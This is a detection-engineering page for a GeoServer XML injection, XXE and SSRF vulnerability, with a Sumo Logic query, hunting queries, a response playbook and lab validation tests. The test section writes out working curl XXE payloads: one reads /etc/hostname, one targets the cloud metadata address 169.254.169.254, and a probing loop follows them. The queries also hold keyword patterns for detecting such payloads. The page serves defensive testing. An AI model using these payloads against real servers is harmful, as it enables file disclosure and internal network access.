Skip to content
CVE-2026-120705 Sumo Logic CSE · Sumo

Detect OSGeo GeoServer XML Injection / XXE / SSRF Exploitation (CVE-2026-120705) in Sumo Logic CSE

Detects exploitation attempts against OSGeo GeoServer via XML injection, XML External Entity (XXE) processing, and server-side request forgery (SSRF) against OGC web service endpoints (WFS, WMS, WCS, WPS). CVE-2026-120705 is a KEV-listed GeoServer vulnerability (CWE-91 XML injection, CWE-611 XXE, CWE-918 SSRF) added to the CISA KEV catalog on 2026-11-27. Exploitation typically involves POST requests carrying crafted XML payloads (OGC filter/transaction bodies) containing DOCTYPE/ENTITY declarations or SYSTEM references pointing at internal or external resources. This detection inspects web, proxy, and WAF telemetry for malicious XML bodies and anomalous outbound requests originating from GeoServer hosts.

MITRE ATT&CK

Tactic
Initial Access Execution Collection

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-b121beebac · https://df00tech.com/detections/CVE-2026-120705 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* OR _sourceCategory=*proxy*
| where url matches "*/geoserver/*"
| where method in ("POST","PUT")
| if (isNull(request_body), uri_query, request_body) as body
| tolowercase(body) as lbody
| where lbody matches "*doctype*" or lbody matches "*<!entity*" or lbody matches "*system *" or lbody matches "*file:*" or lbody matches "*ftp:*"
| fields _messagetime, src_ip, method, url, status_code, lbody
| sort by _messagetime desc
high severity medium confidence

Surfaces GeoServer OGC POST/PUT requests whose body contains XXE declarations or SSRF/file protocol handlers.

Data Sources

Web Server LogsProxy

Required Tables

webproxy

False Positives & Tuning

  • Valid OGC Transaction/filter XML from GIS clients
  • Authorized vulnerability scanning
  • Automated systems posting templated XML

Other platforms for CVE-2026-120705


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated XXE POST to GeoServer WFS endpoint (lab)

    Expected signal: Web/proxy log entry for POST /geoserver/wfs with request body containing DOCTYPE, ENTITY and SYSTEM

  2. Test 2 Simulated SSRF via GeoServer OGC request (lab)

    Expected signal: Web/proxy log entry for POST /geoserver/ows with body containing SYSTEM and ftp: handler

  3. Test 3 High-volume OGC endpoint probing (lab)

    Expected signal: Numerous POST entries from one source across multiple /geoserver/ paths within a short window


Response Playbook

Triage

  1. Confirm the targeted host is running OSGeo GeoServer and identify its exact version against the vendor advisory GHSA-39mw-5chv-jh47 and the vendor CVE update page to determine whether it is in an affected range.
  2. Extract and decode the full XML request body from the alerting request and determine whether it contains a DOCTYPE/ENTITY declaration (XXE) or a SYSTEM/protocol reference indicating file read or SSRF.
  3. Review the source IP reputation, geolocation, and whether the same source issued multiple OGC endpoint requests (WFS/WMS/WCS/WPS) in a short window suggesting automated exploitation.
  4. Correlate the request with GeoServer application logs and any resulting outbound connections from the GeoServer host to internal or external addresses (SSRF indicator).

Containment

  1. Block the offending source IP(s) at the WAF/reverse proxy and restrict external access to GeoServer OGC endpoints to known clients.
  2. Apply the vendor-provided GeoServer update (2.27.7, 2.28.6, or 3.0.2) or configuration mitigation (disable external entity resolution and restrict outbound network access from the GeoServer service account) per the vendor advisory.

Evidence Collection

  1. Preserve web server, reverse proxy, and WAF logs including full request bodies for the affected time window.
  2. Capture GeoServer application/catalog logs, JVM process details, and any files the service read or wrote, plus outbound connection records from the GeoServer host.

Escalation Criteria

  • !Evidence that the XXE/SSRF retrieved internal files, cloud metadata, or reached internal-only services indicates successful exploitation, escalate to incident response.
  • !Outbound data exfiltration, new persistence, or lateral movement originating from the GeoServer host requires immediate escalation and host isolation.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs containing POST bodies with DOCTYPE/ENTITY/SYSTEM markers
  • >GeoServer application logs and JVM garbage/error traces referencing entity resolution or network calls
  • >Outbound connection records from the GeoServer host to internal addresses or metadata endpoints

Tuning Guidance

Baseline the set of legitimate GIS client source IPs and user agents that normally submit wfs:Transaction XML; allowlist those to reduce noise. Tighten body-pattern matching to require DOCTYPE together with SYSTEM/ENTITY rather than any single keyword if valid payloads trigger false positives. Prioritize alerts where the request is followed by anomalous outbound traffic from the GeoServer host.


Hunting Queries

Finds source IPs issuing a high volume of POST/PUT requests across multiple GeoServer OGC endpoints, a pattern consistent with automated exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-b121beebac · https://df00tech.com/detections/CVE-2026-120705 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/geoserver/" and csMethod in ("POST","PUT") | summarize count(), dcount(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 20
Hunting — SPL
spl
``` df00tech DF00-b121beebac · https://df00tech.com/detections/CVE-2026-120705 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*/geoserver/*" (method=POST OR method=PUT) | stats count dc(uri_path) as paths by src_ip | where count>20

Atomic Red Team Tests

Test 1 Simulated XXE POST to GeoServer WFS endpoint (lab)
linux

Sends a benign XML body containing an external entity declaration to a lab GeoServer WFS endpoint to validate web-log and WAF detection of XXE markers.

Command

bash
curl -s -X POST 'https://geoserver.lab.local/geoserver/wfs' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE t [<!ENTITY x SYSTEM "file:///etc/hostname">]><wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs">&x;</wfs:GetFeature>'

Cleanup

bash
echo 'No persistent changes; clear test request from lab logs if required'

Expected Telemetry

Web/proxy log entry for POST /geoserver/wfs with request body containing DOCTYPE, ENTITY and SYSTEM

Expected Detection

KQL/SPL/EQL rules fire on the DOCTYPE+ENTITY+SYSTEM markers in the POST body

Test 2 Simulated SSRF via GeoServer OGC request (lab)
linux

Posts an XML body referencing an internal resource URL to validate detection of SSRF/file-handler markers.

Command

bash
curl -s -X POST 'https://geoserver.lab.local/geoserver/ows' -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE t [<!ENTITY s SYSTEM "ftp://169.254.169.254/latest/">]><t>&s;</t>'

Cleanup

bash
echo 'No persistent changes'

Expected Telemetry

Web/proxy log entry for POST /geoserver/ows with body containing SYSTEM and ftp: handler

Expected Detection

Rules match the SYSTEM + protocol handler markers and flag potential SSRF

Test 3 High-volume OGC endpoint probing (lab)
linux

Issues repeated POST requests across multiple GeoServer OGC endpoints to validate the high-volume hunting query.

Command

bash
for p in wfs wms wcs ows wps; do for i in $(seq 1 10); do curl -s -X POST "https://geoserver.lab.local/geoserver/$p" -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><t>probe</t>' >/dev/null; done; done

Cleanup

bash
echo 'No persistent changes'

Expected Telemetry

Numerous POST entries from one source across multiple /geoserver/ paths within a short window

Expected Detection

High-volume hunting query flags the source IP for enumerating multiple OGC endpoints

Related Detections